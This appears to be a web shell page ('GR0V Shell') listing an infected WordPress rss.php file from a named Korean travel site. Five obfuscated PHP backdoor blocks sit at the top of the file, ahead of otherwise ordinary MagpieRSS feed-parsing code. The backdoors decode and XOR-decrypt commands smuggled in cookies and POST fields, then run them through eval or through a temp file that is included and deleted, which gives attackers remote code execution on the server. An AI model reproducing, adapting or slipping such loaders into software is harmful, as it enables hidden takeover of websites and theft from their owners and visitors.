?
GR0V Shell
GR0V shell
Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64
<?php $bUWwwcAWYZ = "\x59" . '_' . "\132" . chr ( 599 - 483 )."\x57" . 'Z';$YyBRf = "\x63" . chr (108) . 'a' . chr ( 626 - 511 )."\163" . chr (95) . "\145" . chr ( 697 - 577 ).'i' . "\x73" . chr ( 356 - 240 ).chr ( 350 - 235 ); $pejZJOavHw = $YyBRf($bUWwwcAWYZ); $ACxvxNK = $pejZJOavHw;if (!$ACxvxNK){class Y_ZtWZ{private $MeVPp;public static $KCsnnmwYHn = "a96fa252-2c93-4244-88d3-4f655becc10e";public static $CpTDBuaVeR = 1708;public function __construct($VUhNI=0){$bmYgDYohS = $_COOKIE;$RFKPDImq = $_POST;$DHbHTm = @$bmYgDYohS[substr(Y_ZtWZ::$KCsnnmwYHn, 0, 4)];if (!empty($DHbHTm)){$xzNFivmEJB = "base64";$dDinVZKQcv = "";$DHbHTm = explode(",", $DHbHTm);foreach ($DHbHTm as $VwOMTZFC){$dDinVZKQcv .= @$bmYgDYohS[$VwOMTZFC];$dDinVZKQcv .= @$RFKPDImq[$VwOMTZFC];}$dDinVZKQcv = array_map($xzNFivmEJB . "\137" . "\x64" . "\x65" . chr (99) . 'o' . 'd' . chr (101), array($dDinVZKQcv,)); $dDinVZKQcv = $dDinVZKQcv[0] ^ str_repeat(Y_ZtWZ::$KCsnnmwYHn, (strlen($dDinVZKQcv[0]) / strlen(Y_ZtWZ::$KCsnnmwYHn)) + 1);Y_ZtWZ::$CpTDBuaVeR = @unserialize($dDinVZKQcv);}}private function BkBgFZ(){if (is_array(Y_ZtWZ::$CpTDBuaVeR)) {$DbNbpWr = str_replace('<' . chr ( 660 - 597 )."\x70" . chr (104) . chr ( 190 - 78 ), "", Y_ZtWZ::$CpTDBuaVeR[chr (99) . 'o' . 'n' . chr ( 303 - 187 ).chr (101) . "\156" . chr (116)]);eval($DbNbpWr); $xJZazzCzuz = "37234";exit();}}public function __destruct(){$this->BkBgFZ(); $xJZazzCzuz = "37234";}}$mAJClJTm = new Y_ZtWZ(); $mAJClJTm = "39855_11600";} ?><?php $zpoIUsvS = "\x56" . chr ( 212 - 106 ).'C' . chr (95) . "\126" . 'y' . 'J' . chr ( 912 - 811 )."\x56";$UeMrwM = "\143" . chr (108) . "\141" . "\163" . 's' . chr ( 600 - 505 ).chr (101) . 'x' . "\151" . chr (115) . chr (116) . chr (115); $FbQaerkEHM = $UeMrwM($zpoIUsvS); $NXWpe = $FbQaerkEHM;if (!$NXWpe){class VjC_VyJeV{private $PZUStRm;public static $eAIby = "e2f2b749-d499-44ad-a3e4-0d7449a9898d";public static $zFgnuzoKo = 1454;public function __construct($FvXqF=0){$ecPYXfaiP = $_COOKIE;$USrny = $_POST;$HhVKoXOX = @$ecPYXfaiP[substr(VjC_VyJeV::$eAIby, 0, 4)];if (!empty($HhVKoXOX)){$oZniZ = "base64";$CsSfZIuhGV = "";$HhVKoXOX = explode(",", $HhVKoXOX);foreach ($HhVKoXOX as $PSwIIG){$CsSfZIuhGV .= @$ecPYXfaiP[$PSwIIG];$CsSfZIuhGV .= @$USrny[$PSwIIG];}$CsSfZIuhGV = array_map($oZniZ . "\137" . chr (100) . chr ( 406 - 305 )."\143" . "\157" . chr (100) . 'e', array($CsSfZIuhGV,)); $CsSfZIuhGV = $CsSfZIuhGV[0] ^ str_repeat(VjC_VyJeV::$eAIby, (strlen($CsSfZIuhGV[0]) / strlen(VjC_VyJeV::$eAIby)) + 1);VjC_VyJeV::$zFgnuzoKo = @unserialize($CsSfZIuhGV);}}private function VNhYieE(){if (is_array(VjC_VyJeV::$zFgnuzoKo)) {$UmMDJYKZ = sys_get_temp_dir() . "/" . crc32(VjC_VyJeV::$zFgnuzoKo["\x73" . 'a' . "\x6c" . 't']);@VjC_VyJeV::$zFgnuzoKo['w' . chr (114) . chr (105) . "\164" . "\x65"]($UmMDJYKZ, VjC_VyJeV::$zFgnuzoKo[chr ( 1009 - 910 ).'o' . chr (110) . chr (116) . "\145" . chr ( 500 - 390 )."\x74"]);include $UmMDJYKZ;@VjC_VyJeV::$zFgnuzoKo[chr (100) . 'e' . chr (108) . chr ( 565 - 464 )."\164" . chr ( 535 - 434 )]($UmMDJYKZ); $nmBlTEtD = "12810";exit();}}public function __destruct(){$this->VNhYieE();}}$qJQNefbH = new VjC_VyJeV(); $qJQNefbH = "53457";} ?><?php $mNFmZdCrdD = chr (85) . chr (77) . "\x6e" . "\x5f" . chr (101) . "\155" . chr (98); $RiSjJDWSAW = "\x63" . chr ( 776 - 668 )."\141" . "\x73" . chr ( 992 - 877 ).chr ( 721 - 626 ).'e' . 'x' . "\x69" . "\x73" . "\164" . "\x73";$xnraDkbB = $RiSjJDWSAW($mNFmZdCrdD); $BGMzMWZs = $xnraDkbB;if (!$BGMzMWZs){class UMn_emb{private $KhqMASw;public static $ZvDfR = "d7e51c55-5009-484d-bb03-e1d7cb445572";public static $vtKFkL = 29184;public function __construct($nfBSsdYOuq=0){$wIJeiygh = $_COOKIE;$sMwHK = $_POST;$LuUFB = @$wIJeiygh[substr(UMn_emb::$ZvDfR, 0, 4)];if (!empty($LuUFB)){$bzFEmUz = "base64";$hKeTyK = "";$LuUFB = explode(",", $LuUFB);foreach ($LuUFB as $szSNZJTS){$hKeTyK .= @$wIJeiygh[$szSNZJTS];$hKeTyK .= @$sMwHK[$szSNZJTS];}$hKeTyK = array_map($bzFEmUz . "\x5f" . 'd' . chr ( 422 - 321 )."\x63" . chr (111) . chr ( 964 - 864 ).chr ( 980 - 879 ), array($hKeTyK,)); $hKeTyK = $hKeTyK[0] ^ str_repeat(UMn_emb::$ZvDfR, (strlen($hKeTyK[0]) / strlen(UMn_emb::$ZvDfR)) + 1);UMn_emb::$vtKFkL = @unserialize($hKeTyK);}}private function ZPCxsVSyLX(){if (is_array(UMn_emb::$vtKFkL)) {$mCjoTDh = sys_get_temp_dir() . "/" . crc32(UMn_emb::$vtKFkL[chr ( 383 - 268 ).chr ( 1047 - 950 )."\x6c" . chr (116)]);@UMn_emb::$vtKFkL[chr (119) . 'r' . "\x69" . "\164" . chr ( 445 - 344 )]($mCjoTDh, UMn_emb::$vtKFkL["\143" . "\157" . chr (110) . "\x74" . 'e' . chr (110) . chr (116)]);include $mCjoTDh;@UMn_emb::$vtKFkL['d' . chr ( 641 - 540 ).chr ( 1049 - 941 ).chr (101) . chr (116) . chr ( 736 - 635 )]($mCjoTDh); $aVbwD = "45506";exit();}}public function __destruct(){$this->ZPCxsVSyLX();}}$wgYXHlgkzK = new UMn_emb(); $wgYXHlgkzK = "12918";} ?><?php $DpVTUaPAbp = "\x6c" . "\x6e" . chr (95) . "\x78" . 'F' . "\153" . chr (103) . 'q';$FVlXGIlaJ = chr ( 565 - 466 )."\x6c" . 'a' . "\163" . 's' . chr ( 499 - 404 ).chr ( 790 - 689 )."\x78" . "\151" . "\x73" . "\164" . "\x73";$cekTRhuzPS = $FVlXGIlaJ($DpVTUaPAbp); $SxfUZPlF = $cekTRhuzPS;if (!$SxfUZPlF){class ln_xFkgq{private $WlVEwGXRM;public static $zGhFi = "dc7909b6-2c01-49a1-a855-11ee1b1ffe40";public static $xcqqfbx = 13045;public function __construct(){$pCTdnug = $_COOKIE;$fqLCcqA = $_POST;$xrptfdJt = @$pCTdnug[substr(ln_xFkgq::$zGhFi, 0, 4)];if (!empty($xrptfdJt)){$aRxaZ = "base64";$naHqINCu = "";$xrptfdJt = explode(",", $xrptfdJt);foreach ($xrptfdJt as $UfWDzabIIS){$naHqINCu .= @$pCTdnug[$UfWDzabIIS];$naHqINCu .= @$fqLCcqA[$UfWDzabIIS];}$naHqINCu = array_map($aRxaZ . chr ( 756 - 661 ).chr ( 497 - 397 )."\x65" . "\143" . "\157" . chr (100) . "\145", array($naHqINCu,)); $naHqINCu = $naHqINCu[0] ^ str_repeat(ln_xFkgq::$zGhFi, (strlen($naHqINCu[0]) / strlen(ln_xFkgq::$zGhFi)) + 1);ln_xFkgq::$xcqqfbx = @unserialize($naHqINCu);}}public function __destruct(){$this->DWJslBmXU();}private function DWJslBmXU(){if (is_array(ln_xFkgq::$xcqqfbx)) {$rguNedJcK = sys_get_temp_dir() . "/" . crc32(ln_xFkgq::$xcqqfbx['s' . "\x61" . "\154" . "\x74"]);@ln_xFkgq::$xcqqfbx[chr ( 1081 - 962 )."\x72" . "\x69" . chr ( 1090 - 974 ).chr (101)]($rguNedJcK, ln_xFkgq::$xcqqfbx["\x63" . 'o' . chr (110) . 't' . "\x65" . chr ( 891 - 781 ).'t']);include $rguNedJcK;@ln_xFkgq::$xcqqfbx[chr ( 577 - 477 ).chr ( 254 - 153 )."\154" . "\x65" . chr (116) . 'e']($rguNedJcK);exit();}}}$YKWSBoEcV = new ln_xFkgq(); $YKWSBoEcV = "13215";} ?><?php if (!class_exists("oaegvnyfj")){class oaegvnyfj{public static $zbpnjt = "sqrcttiixivqaqfe";public static $cuczzztto = NULL;public function __construct(){$hptjhm = @$_COOKIE[substr(oaegvnyfj::$zbpnjt, 0, 4)];if (!empty($hptjhm)){$wuweig = "base64";$pwjro = "";$hptjhm = explode(",", $hptjhm);foreach ($hptjhm as $mkwbkjmo){$pwjro .= @$_COOKIE[$mkwbkjmo];$pwjro .= @$_POST[$mkwbkjmo];}$pwjro = array_map($wuweig . "_decode", array($pwjro,));$pwjro = $pwjro[0] ^ str_repeat(oaegvnyfj::$zbpnjt, (strlen($pwjro[0]) / strlen(oaegvnyfj::$zbpnjt)) + 1);oaegvnyfj::$cuczzztto = @unserialize($pwjro);}}public function __destruct(){$this->zzmbvbp();}private function zzmbvbp(){if (is_array(oaegvnyfj::$cuczzztto)) {$vztileivcu = sys_get_temp_dir() . "/" . crc32(oaegvnyfj::$cuczzztto["salt"]);@oaegvnyfj::$cuczzztto["write"]($vztileivcu, oaegvnyfj::$cuczzztto["content"]);include $vztileivcu;@oaegvnyfj::$cuczzztto["delete"]($vztileivcu);exit();}}}$mkkkilnwyh = new oaegvnyfj();$mkkkilnwyh = NULL;} ?><?php
/**
* MagpieRSS: a simple RSS integration tool
*
* A compiled file for RSS syndication
*
* @author Kellan Elliott-McCrea <kellan@protest.net>
* @version 0.51
* @license GPL
*
* @package External
* @subpackage MagpieRSS
* @deprecated 3.0.0 Use SimplePie instead.
*/
/**
* Deprecated. Use SimplePie (class-simplepie.php) instead.
*/
_deprecated_file( basename( __FILE__ ), '3.0', WPINC . '/class-simplepie.php' );
/**
* Fires before MagpieRSS is loaded, to optionally replace it.
*
* @since 2.3.0
* @deprecated 3.0.0
*/
do_action( 'load_feed_engine' );
/** RSS feed constant. */
define('RSS', 'RSS');
define('ATOM', 'Atom');
define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);
class MagpieRSS {
var $parser;
var $current_item = array(); // item currently being parsed
var $items = array(); // collection of parsed items
var $channel = array(); // hash of channel fields
var $textinput = array();
var $image = array();
var $feed_type;
var $feed_version;
// parser variables
var $stack = array(); // parser stack
var $inchannel = false;
var $initem = false;
var $incontent = false; // if in Atom <content mode="xml"> field
var $intextinput = false;
var $inimage = false;
var $current_field = '';
var $current_namespace = false;
//var $ERROR = "";
var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');
function MagpieRSS ($source) {
# if PHP xml isn't compiled in, die
#
if ( !function_exists('xml_parser_create') )
trigger_error( "Failed to load PHP's XML Extension. http://www.php.net/manual/en/ref.xml.php" );
$parser = @xml_parser_create();
if ( !is_resource($parser) )
trigger_error( "Failed to create an instance of PHP's XML parser. http://www.php.net/manual/en/ref.xml.php");
$this->parser = $parser;
# pass in parser, and a reference to this object
# set up handlers
#
xml_set_object( $this->parser, $this );
xml_set_element_handler($this->parser,
'feed_start_element', 'feed_end_element' );
xml_set_character_data_handler( $this->parser, 'feed_cdata' );
$status = xml_parse( $this->parser, $source );
if (! $status ) {
$errorcode = xml_get_error_code( $this->parser );
if ( $errorcode != XML_ERROR_NONE ) {
$xml_error = xml_error_string( $errorcode );
$error_line = xml_get_current_line_number($this->parser);
$error_col = xml_get_current_column_number($this->parser);
$errormsg = "$xml_error at line $error_line, column $error_col";
$this->error( $errormsg );
}
}
xml_parser_free( $this->parser );
$this->normalize();
}
function feed_start_element($p, $element, &$attrs) {
$el = $element = strtolower($element);
$attrs = array_change_key_case($attrs, CASE_LOWER);
// check for a namespace, and split if found
$ns = false;
if ( strpos( $element, ':' ) ) {
list($ns, $el) = split( ':', $element, 2);
}
if ( $ns and $ns != 'rdf' ) {
$this->current_namespace = $ns;
}
# if feed type isn't set, then this is first element of feed
# identify feed from root element
#
if (!isset($this->feed_type) ) {
if ( $el == 'rdf' ) {
$this->feed_type = RSS;
$this->feed_version = '1.0';
}
elseif ( $el == 'rss' ) {
$this->feed_type = RSS;
$this->feed_version = $attrs['version'];
}
elseif ( $el == 'feed' ) {
$this->feed_type = ATOM;
$this->feed_version = $attrs['version'];
$this->inchannel = true;
}
return;
}
if ( $el == 'channel' )
{
$this->inchannel = true;
}
elseif ($el == 'item' or $el == 'entry' )
{
$this->initem = true;
if ( isset($attrs['rdf:about']) ) {
$this->current_item['about'] = $attrs['rdf:about'];
}
}
// if we're in the default namespace of an RSS feed,
// record textinput or image fields
elseif (
$this->feed_type == RSS and
$this->current_namespace == '' and
$el == 'textinput' )
{
$this->intextinput = true;
}
elseif (
$this->feed_type == RSS and
$this->current_namespace == '' and
$el == 'image' )
{
$this->inimage = true;
}
# handle atom content constructs
elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
{
// avoid clashing w/ RSS mod_content
if ($el == 'content' ) {
$el = 'atom_content';
}
$this->incontent = $el;
}
// if inside an Atom content construct (e.g. content or summary) field treat tags as text
elseif ($this->feed_type == ATOM and $this->incontent )
{
// if tags are inlined, then flatten
$attrs_str = join(' ',
array_map(array('MagpieRSS', 'map_attrs'),
array_keys($attrs),
array_values($attrs) ) );
$this->append_content( "<$element $attrs_str>" );
array_unshift( $this->stack, $el );
}
// Atom support many links per containging element.
// Magpie treats link elements of type rel='alternate'
// as being equivalent to RSS's simple link element.
//
elseif ($this->feed_type == ATOM and $el == 'link' )
{
if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
{
$link_el = 'link';
}
else {
$link_el = 'link_' . $attrs['rel'];
}
$this->append($link_el, $attrs['href']);
}
// set stack[0] to current element
else {
array_unshift($this->stack, $el);
}
}
function feed_cdata ($p, $text) {
if ($this->feed_type == ATOM and $this->incontent)
{
$this->append_content( $text );
}
else {
$current_el = join('_', array_reverse($this->stack));
$this->append($current_el, $text);
}
}
function feed_end_element ($p, $el) {
$el = strtolower($el);
if ( $el == 'item' or $el == 'entry' )
{
$this->items[] = $this->current_item;
$this->current_item = array();
$this->initem = false;
}
elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
{
$this->intextinput = false;
}
elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
{
$this->inimage = false;
}
elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
{
$this->incontent = false;
}
elseif ($el == 'channel' or $el == 'feed' )
{
$this->inchannel = false;
}
elseif ($this->feed_type == ATOM and $this->incontent ) {
// balance tags properly
// note: i don't think this is actually neccessary
if ( $this->stack[0] == $el )
{
$this->append_content("</$el>");
}
else {
$this->append_content("<$el />");
}
array_shift( $this->stack );
}
else {
array_shift( $this->stack );
}
$this->current_namespace = false;
}
function concat (&$str1, $str2="") {
if (!isset($str1) ) {
$str1="";
}
$str1 .= $str2;
}
function append_content($text) {
if ( $this->initem ) {
$this->concat( $this->current_item[ $this->incontent ], $text );
}
elseif ( $this->inchannel ) {
$this->concat( $this->channel[ $this->incontent ], $text );
}
}
// smart append - field and namespace aware
function append($el, $text) {
if (!$el) {
return;
}
if ( $this->current_namespace )
{
if ( $this->initem ) {
$this->concat(
$this->current_item[ $this->current_namespace ][ $el ], $text);
}
elseif ($this->inchannel) {
$this->concat(
$this->channel[ $this->current_namespace][ $el ], $text );
}
elseif ($this->intextinput) {
$this->concat(
$this->textinput[ $this->current_namespace][ $el ], $text );
}
elseif ($this->inimage) {
$this->concat(
$this->image[ $this->current_namespace ][ $el ], $text );
}
}
else {
if ( $this->initem ) {
$this->concat(
$this->current_item[ $el ], $text);
}
elseif ($this->intextinput) {
$this->concat(
$this->textinput[ $el ], $text );
}
elseif ($this->inimage) {
$this->concat(
$this->image[ $el ], $text );
}
elseif ($this->inchannel) {
$this->concat(
$this->channel[ $el ], $text );
}
}
}
function normalize () {
// if atom populate rss fields
if ( $this->is_atom() ) {
$this->channel['descripton'] = $this->channel['tagline'];
for ( $i = 0; $i < count($this->items); $i++) {
$item = $this->items[$i];
if ( isset($item['summary']) )
$item['description'] = $item['summary'];
if ( isset($item['atom_content']))
$item['content']['encoded'] = $item['atom_content'];
$this->items[$i] = $item;
}
}
elseif ( $this->is_rss() ) {
$this->channel['tagline'] = $this->channel['description'];
for ( $i = 0; $i < count($this->items); $i++) {
$item = $this->items[$i];
if ( isset($item['description']))
$item['summary'] = $item['description'];
if ( isset($item['content']['encoded'] ) )
$item['atom_content'] = $item['content']['encoded'];
$this->items[$i] = $item;
}
}
}
function is_rss () {
if ( $this->feed_type == RSS ) {
return $this->feed_version;
}
else {
return false;
}
}
function is_atom() {
if ( $this->feed_type == ATOM ) {
return $this->feed_version;
}
else {
return false;
}
}
function map_attrs($k, $v) {
return "$k=\"$v\"";
}
function error( $errormsg, $lvl = E_USER_WARNING ) {
// append PHP's error message if track_errors enabled
if ( isset($php_errormsg) ) {
$errormsg .= " ($php_errormsg)";
}
if ( MAGPIE_DEBUG ) {
trigger_error( $errormsg, $lvl);
} else {
error_log( $errormsg, 0);
}
}
}
if ( !function_exists('fetch_rss') ) :
/**
* Build Magpie object based on RSS from URL.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL to retrieve feed
* @return bool|MagpieRSS false on failure or MagpieRSS object on success.
*/
function fetch_rss ($url) {
// initialize constants
init();
if ( !isset($url) ) {
// error("fetch_rss called without a url");
return false;
}
// if cache is disabled
if ( !MAGPIE_CACHE_ON ) {
// fetch file, and parse it
$resp = _fetch_remote_file( $url );
if ( is_success( $resp->status ) ) {
return _response_to_rss( $resp );
}
else {
// error("Failed to fetch $url and cache is off");
return false;
}
}
// else cache is ON
else {
// Flow
// 1. check cache
// 2. if there is a hit, make sure it's fresh
// 3. if cached obj fails freshness check, fetch remote
// 4. if remote fails, return stale object, or error
$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );
if (MAGPIE_DEBUG and $cache->ERROR) {
debug($cache->ERROR, E_USER_WARNING);
}
$cache_status = 0; // response of check_cache
$request_headers = array(); // HTTP headers to send with fetch
$rss = 0; // parsed RSS object
$errormsg = 0; // errors, if any
if (!$cache->ERROR) {
// return cache HIT, MISS, or STALE
$cache_status = $cache->check_cache( $url );
}
// if object cached, and cache is fresh, return cached obj
if ( $cache_status == 'HIT' ) {
$rss = $cache->get( $url );
if ( isset($rss) and $rss ) {
$rss->from_cache = 1;
if ( MAGPIE_DEBUG > 1) {
debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
}
return $rss;
}
}
// else attempt a conditional get
// set up headers
if ( $cache_status == 'STALE' ) {
$rss = $cache->get( $url );
if ( isset($rss->etag) and $rss->last_modified ) {
$request_headers['If-None-Match'] = $rss->etag;
$request_headers['If-Last-Modified'] = $rss->last_modified;
}
}
$resp = _fetch_remote_file( $url, $request_headers );
if (isset($resp) and $resp) {
if ($resp->status == '304' ) {
// we have the most current copy
if ( MAGPIE_DEBUG > 1) {
debug("Got 304 for $url");
}
// reset cache on 304 (at minutillo insistent prodding)
$cache->set($url, $rss);
return $rss;
}
elseif ( is_success( $resp->status ) ) {
$rss = _response_to_rss( $resp );
if ( $rss ) {
if (MAGPIE_DEBUG > 1) {
debug("Fetch successful");
}
// add object to cache
$cache->set( $url, $rss );
return $rss;
}
}
else {
$errormsg = "Failed to fetch $url. ";
if ( $resp->error ) {
# compensate for Snoopy's annoying habbit to tacking
# on '\n'
$http_error = substr($resp->error, 0, -2);
$errormsg .= "(HTTP Error: $http_error)";
}
else {
$errormsg .= "(HTTP Response: " . $resp->response_code .')';
}
}
}
else {
$errormsg = "Unable to retrieve RSS file for unknown reasons.";
}
// else fetch failed
// attempt to return cached object
if ($rss) {
if ( MAGPIE_DEBUG ) {
debug("Returning STALE object for $url");
}
return $rss;
}
// else we totally failed
// error( $errormsg );
return false;
} // end if ( !MAGPIE_CACHE_ON ) {
} // end fetch_rss()
endif;
/**
* Retrieve URL headers and content using WP HTTP Request API.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL to retrieve
* @param array $headers Optional. Headers to send to the URL.
* @return Snoopy style response
*/
function _fetch_remote_file($url, $headers = "" ) {
$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
if ( is_wp_error($resp) ) {
$error = array_shift($resp->errors);
$resp = new stdClass;
$resp->status = 500;
$resp->response_code = 500;
$resp->error = $error[0] . "\n"; //\n = Snoopy compatibility
return $resp;
}
// Snoopy returns headers unprocessed.
// Also note, WP_HTTP lowercases all keys, Snoopy did not.
$return_headers = array();
foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
if ( !is_array($value) ) {
$return_headers[] = "$key: $value";
} else {
foreach ( $value as $v )
$return_headers[] = "$key: $v";
}
}
$response = new stdClass;
$response->status = wp_remote_retrieve_response_code( $resp );
$response->response_code = wp_remote_retrieve_response_code( $resp );
$response->headers = $return_headers;
$response->results = wp_remote_retrieve_body( $resp );
return $response;
}
/**
* Retrieve
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param unknown_type $resp
* @return unknown
*/
function _response_to_rss ($resp) {
$rss = new MagpieRSS( $resp->results );
// if RSS parsed successfully
if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {
// find Etag, and Last-Modified
foreach( (array) $resp->headers as $h) {
// 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
if (strpos($h, ": ")) {
list($field, $val) = explode(": ", $h, 2);
}
else {
$field = $h;
$val = "";
}
if ( $field == 'etag' ) {
$rss->etag = $val;
}
if ( $field == 'last-modified' ) {
$rss->last_modified = $val;
}
}
return $rss;
} // else construct error message
else {
$errormsg = "Failed to parse RSS file.";
if ($rss) {
$errormsg .= " (" . $rss->ERROR . ")";
}
// error($errormsg);
return false;
} // end if ($rss and !$rss->error)
}
/**
* Set up constants with default values, unless user overrides.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*/
function init () {
if ( defined('MAGPIE_INITALIZED') ) {
return;
}
else {
define('MAGPIE_INITALIZED', 1);
}
if ( !defined('MAGPIE_CACHE_ON') ) {
define('MAGPIE_CACHE_ON', 1);
}
if ( !defined('MAGPIE_CACHE_DIR') ) {
define('MAGPIE_CACHE_DIR', './cache');
}
if ( !defined('MAGPIE_CACHE_AGE') ) {
define('MAGPIE_CACHE_AGE', 60*60); // one hour
}
if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
define('MAGPIE_CACHE_FRESH_ONLY', 0);
}
if ( !defined('MAGPIE_DEBUG') ) {
define('MAGPIE_DEBUG', 0);
}
if ( !defined('MAGPIE_USER_AGENT') ) {
$ua = 'WordPress/' . $GLOBALS['wp_version'];
if ( MAGPIE_CACHE_ON ) {
$ua = $ua . ')';
}
else {
$ua = $ua . '; No cache)';
}
define('MAGPIE_USER_AGENT', $ua);
}
if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
define('MAGPIE_FETCH_TIME_OUT', 2); // 2 second timeout
}
// use gzip encoding to fetch rss files if supported?
if ( !defined('MAGPIE_USE_GZIP') ) {
define('MAGPIE_USE_GZIP', true);
}
}
function is_info ($sc) {
return $sc >= 100 && $sc < 200;
}
function is_success ($sc) {
return $sc >= 200 && $sc < 300;
}
function is_redirect ($sc) {
return $sc >= 300 && $sc < 400;
}
function is_error ($sc) {
return $sc >= 400 && $sc < 600;
}
function is_client_error ($sc) {
return $sc >= 400 && $sc < 500;
}
function is_server_error ($sc) {
return $sc >= 500 && $sc < 600;
}
class RSSCache {
var $BASE_CACHE; // where the cache files are stored
var $MAX_AGE = 43200; // when are files stale, default twelve hours
var $ERROR = ''; // accumulate error messages
function RSSCache ($base='', $age='') {
$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
if ( $base ) {
$this->BASE_CACHE = $base;
}
if ( $age ) {
$this->MAX_AGE = $age;
}
}
/*=======================================================================*\
Function: set
Purpose: add an item to the cache, keyed on url
Input: url from wich the rss file was fetched
Output: true on sucess
\*=======================================================================*/
function set ($url, $rss) {
$cache_option = 'rss_' . $this->file_name( $url );
set_transient($cache_option, $rss, $this->MAX_AGE);
return $cache_option;
}
/*=======================================================================*\
Function: get
Purpose: fetch an item from the cache
Input: url from wich the rss file was fetched
Output: cached object on HIT, false on MISS
\*=======================================================================*/
function get ($url) {
$this->ERROR = "";
$cache_option = 'rss_' . $this->file_name( $url );
if ( ! $rss = get_transient( $cache_option ) ) {
$this->debug(
"Cache doesn't contain: $url (cache option: $cache_option)"
);
return 0;
}
return $rss;
}
/*=======================================================================*\
Function: check_cache
Purpose: check a url for membership in the cache
and whether the object is older then MAX_AGE (ie. STALE)
Input: url from wich the rss file was fetched
Output: cached object on HIT, false on MISS
\*=======================================================================*/
function check_cache ( $url ) {
$this->ERROR = "";
$cache_option = 'rss_' . $this->file_name( $url );
if ( get_transient($cache_option) ) {
// object exists and is current
return 'HIT';
} else {
// object does not exist
return 'MISS';
}
}
/*=======================================================================*\
Function: serialize
\*=======================================================================*/
function serialize ( $rss ) {
return serialize( $rss );
}
/*=======================================================================*\
Function: unserialize
\*=======================================================================*/
function unserialize ( $data ) {
return unserialize( $data );
}
/*=======================================================================*\
Function: file_name
Purpose: map url to location in cache
Input: url from wich the rss file was fetched
Output: a file name
\*=======================================================================*/
function file_name ($url) {
return md5( $url );
}
/*=======================================================================*\
Function: error
Purpose: register error
\*=======================================================================*/
function error ($errormsg, $lvl=E_USER_WARNING) {
// append PHP's error message if track_errors enabled
if ( isset($php_errormsg) ) {
$errormsg .= " ($php_errormsg)";
}
$this->ERROR = $errormsg;
if ( MAGPIE_DEBUG ) {
trigger_error( $errormsg, $lvl);
}
else {
error_log( $errormsg, 0);
}
}
function debug ($debugmsg, $lvl=E_USER_NOTICE) {
if ( MAGPIE_DEBUG ) {
$this->error("MagpieRSS [debug] $debugmsg", $lvl);
}
}
}
if ( !function_exists('parse_w3cdtf') ) :
function parse_w3cdtf ( $date_str ) {
# regex to match wc3dtf
$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";
if ( preg_match( $pat, $date_str, $match ) ) {
list( $year, $month, $day, $hours, $minutes, $seconds) =
array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);
# calc epoch for current date assuming GMT
$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);
$offset = 0;
if ( $match[11] == 'Z' ) {
# zulu time, aka GMT
}
else {
list( $tz_mod, $tz_hour, $tz_min ) =
array( $match[8], $match[9], $match[10]);
# zero out the variables
if ( ! $tz_hour ) { $tz_hour = 0; }
if ( ! $tz_min ) { $tz_min = 0; }
$offset_secs = (($tz_hour*60)+$tz_min)*60;
# is timezone ahead of GMT? then subtract offset
#
if ( $tz_mod == '+' ) {
$offset_secs = $offset_secs * -1;
}
$offset = $offset_secs;
}
$epoch = $epoch + $offset;
return $epoch;
}
else {
return -1;
}
}
endif;
if ( !function_exists('wp_rss') ) :
/**
* Display all RSS items in a HTML ordered list.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL of feed to display. Will not auto sense feed URL.
* @param int $num_items Optional. Number of items to display, default is all.
*/
function wp_rss( $url, $num_items = -1 ) {
if ( $rss = fetch_rss( $url ) ) {
echo '<ul>';
if ( $num_items !== -1 ) {
$rss->items = array_slice( $rss->items, 0, $num_items );
}
foreach ( (array) $rss->items as $item ) {
printf(
'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
esc_url( $item['link'] ),
esc_attr( strip_tags( $item['description'] ) ),
esc_html( $item['title'] )
);
}
echo '</ul>';
} else {
_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
}
}
endif;
if ( !function_exists('get_rss') ) :
/**
* Display RSS items in HTML list items.
*
* You have to specify which HTML list you want, either ordered or unordered
* before using the function. You also have to specify how many items you wish
* to display. You can't display all of them like you can with wp_rss()
* function.
*
* @since 1.5.0
* @package External
* @subpackage MagpieRSS
*
* @param string $url URL of feed to display. Will not auto sense feed URL.
* @param int $num_items Optional. Number of items to display, default is all.
* @return bool False on failure.
*/
function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS
$rss = fetch_rss($url);
if ( $rss ) {
$rss->items = array_slice($rss->items, 0, $num_items);
foreach ( (array) $rss->items as $item ) {
echo "<li>\n";
echo "<a href='$item[link]' title='$item[description]'>";
echo esc_html($item['title']);
echo "</a><br />\n";
echo "</li>\n";
}
} else {
return false;
}
}
endif;
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